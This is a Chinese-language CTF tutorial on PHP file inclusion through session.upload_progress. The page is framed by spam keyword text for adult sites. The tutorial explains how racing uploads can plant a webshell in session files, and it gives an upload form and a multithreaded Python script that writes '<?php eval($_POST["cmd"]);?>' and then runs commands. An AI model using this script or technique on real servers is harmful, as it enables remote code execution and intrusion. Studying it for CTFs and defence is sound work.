色综合图-色综合图片-色综合图片二区150p-色综合图区-玖玖国产精品视频-玖玖香蕉视频

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

使用session upload_progress實(shí)現(xiàn)文件包含實(shí)例詳解

瀏覽:109日期:2022-06-06 13:50:06
目錄
  • 前言
  • 基礎(chǔ)知識(shí)
    • session.upload_progress
  • 攻擊方法
    • 例題
      • 結(jié)語(yǔ)

        前言

        該思路是很久之前在CTF比賽中學(xué)習(xí)到的,可以簡(jiǎn)單理解為利用session.upload_progress來(lái)進(jìn)行文件競(jìng)爭(zhēng)從而達(dá)到上傳文件進(jìn)行文件包含或者命令執(zhí)行的目的,可能大部分人會(huì)不理解,我們下面我們展開(kāi)來(lái)講。

        基礎(chǔ)知識(shí)

        session.upload_progress

        首先我們要先學(xué)習(xí)什么是session.upload_progress,可以簡(jiǎn)單理解為文件上傳進(jìn)度,在php官方文檔里可以找到描述:

        在這里面有幾個(gè)很重要的函數(shù),我們簡(jiǎn)單看一下:

        session.upload_progress.enabled = onsession.upload_progress.cleanup = onsession.upload_progress.prefix = "upload_progress_"session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

        第一個(gè)顯而易見(jiàn)是設(shè)定是否開(kāi)啟該功能,第二個(gè)cleanup則是是否在上傳后刪除文件,第三個(gè)為設(shè)置前綴,第四個(gè)為session中的鍵值,那么他們有什么用呢?我們就可以在phpinfo里查看這些信息是否開(kāi)啟以此來(lái)判斷能不能利用該漏洞。

        攻擊方法

        我們攻擊思路就是利用session.upload_progress來(lái)將木馬寫入到session里面,但這里有兩個(gè)問(wèn)題:

        問(wèn)題一:代碼里沒(méi)有session_start,我們?nèi)绾蝿?chuàng)建session文件呢?

        首先我們先看看session里面有一個(gè)很重要的選項(xiàng):

        session.use_strict_mode //默認(rèn)值為off。

        我們可以自己定義sessionid,假如我們定義sessionid為xino,則PHP將會(huì)在服務(wù)器上創(chuàng)建一個(gè)文件:/tmp/sess_xino”。即使我們沒(méi)有初始化Session,PHP也會(huì)自動(dòng)初始化Session。 并產(chǎn)生一個(gè)鍵值,這個(gè)鍵值由:

        ini.get("session.upload_progress.prefix")+由我們構(gòu)造的session.upload_progress.name值組成

        最后被寫入sess_文件里。

        問(wèn)題二:上面的cleanup設(shè)置會(huì)刪除數(shù)據(jù),我們要如何防止數(shù)據(jù)被刪除呢?

        所以這里需要我們文件競(jìng)爭(zhēng)不斷發(fā)包直至上傳成功,之后再讀取session文件所在路徑即可。類似于下圖,可以搭配burpsuite使用:

        之后我們即可進(jìn)行文件包含或者RCE攻擊,總結(jié)一下該漏洞的利用條件:

        存在文件包含漏洞

        知道session文件存放路徑,可以嘗試默認(rèn)路徑

        具有讀取和寫入session文件的權(quán)限

        下面給大家?guī)?lái)一個(gè)例題。

        例題

        進(jìn)入題目首先看看題目源碼:

        限制了我們很多東西,只能使用沒(méi)有后綴的文件進(jìn)行文件包含所以想到通過(guò)session.upload_progress來(lái)進(jìn)行文件包含,因?yàn)槲覀冃枰蟼饕粋€(gè)東西,所以我們先寫一個(gè)簡(jiǎn)單的文件上傳點(diǎn):

        <!DOCTYPE html><html><body><form action="http://ctf" method="POST" enctype="multipart/form-data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />    <input type="file" name="file" />    <input type="submit" value="submit" /></form></body></html>

        之后我們進(jìn)行發(fā)包抓包然后重放,查看回顯成功后我們?cè)L問(wèn)/tmp/sess_flag,發(fā)現(xiàn)命令執(zhí)行了:

        我們將之前發(fā)包文件里面的ls命令改為cat flag的文件名即可進(jìn)行命令執(zhí)行,也是抓包重放查看返回長(zhǎng)度不一樣的包:

        如果不喜歡手動(dòng)我這里從網(wǎng)上找了一個(gè)自動(dòng)化腳本,大家也可以嘗試一下:

        import ioimport requestsimport threadingsessid = "FLAG"data = {"cmd":"system("ls");"}def write(session):    while True:f = io.BytesIO(b"a" * 1024 * 50)resp = session.post( "http://127.0.0.1/session.php", data={"PHP_SESSION_UPLOAD_PROGRESS": "<?php eval($_POST["cmd"]);?>"}, files={"file": ("1.txt",f)}, cookies={"PHPSESSID": sessid} )def read(session):    while True:resp = session.post("http://127.0.0.1/session.php?file=/Applications/phpstudy/Extensions/tmp/tmp/sess_"+sessid,data=data)if "1.txt" in resp.text:    print(resp.text)    event.clear()else:    print("[+++++++++++++]retry")if __name__=="__main__":    event=threading.Event()    with requests.session() as session:for i in range(1,30):     threading.Thread(target=write,args=(session,)).start()for i in range(1,30):    threading.Thread(target=read,args=(session,)).start()    event.set()

        結(jié)語(yǔ)

        今天給大家?guī)?lái)的是session.upload_progress文件包含漏洞,因?yàn)樾枰恍┚W(wǎng)絡(luò)安全基礎(chǔ)可能部分讀者不太明白,這里有興趣的小伙伴可以自己去了解一下找個(gè)現(xiàn)成的靶機(jī)去嘗試一下,更多關(guān)于session upload_progress文件包含的資料請(qǐng)關(guān)注其它相關(guān)文章!

        標(biāo)簽: PHP
        主站蜘蛛池模板: 国产三级精品三级国产 | 国产精品亚洲精品日韩已满 | 久久精品国产亚洲7777 | 欧美巨大精品videos | 手机在线看片福利 | 毛片手机在线观看 | 日本免费人成黄页在线观看视频 | 日韩特级片 | 美国毛片亚洲社区在线观看 | 99久久免费观看 | 国产的一级毛片完整 | 亚州国产 | 高清一区在线 | 精品国产高清久久久久久小说 | 成人国产欧美精品一区二区 | 一级做a免费视频观看网站 一级做a爰 | 欧美成网 | 成人免费网站在线观看 | 亚洲综合色在线观看 | 国产成人av在线 | 欧美亚洲国产成人精品 | 国产精品一区伦免视频播放 | 日本特黄特色大片免费视频网站 | 国产欧美一区二区三区视频在线观看 | 亚洲 欧美 国产 日韩 制服 bt | 国产精品二区页在线播放 | 最新国产三级久久 | 欧美做a欧美 | 无内丝袜透明在线播放 | 欧美一级片在线免费观看 | 成人国产一区二区三区 | 国产免费一级在线观看 | 日韩一区二区天海翼 | 99爱在线观看精品视频 | 欧美在线观看视频一区 | 免费视频一区二区 | 国产伦一区二区三区四区久久 | a毛片在线 | 2021国产精品系列一区二区 | 成人a影片在线观看 | 欧美日本道免费一区二区三区 |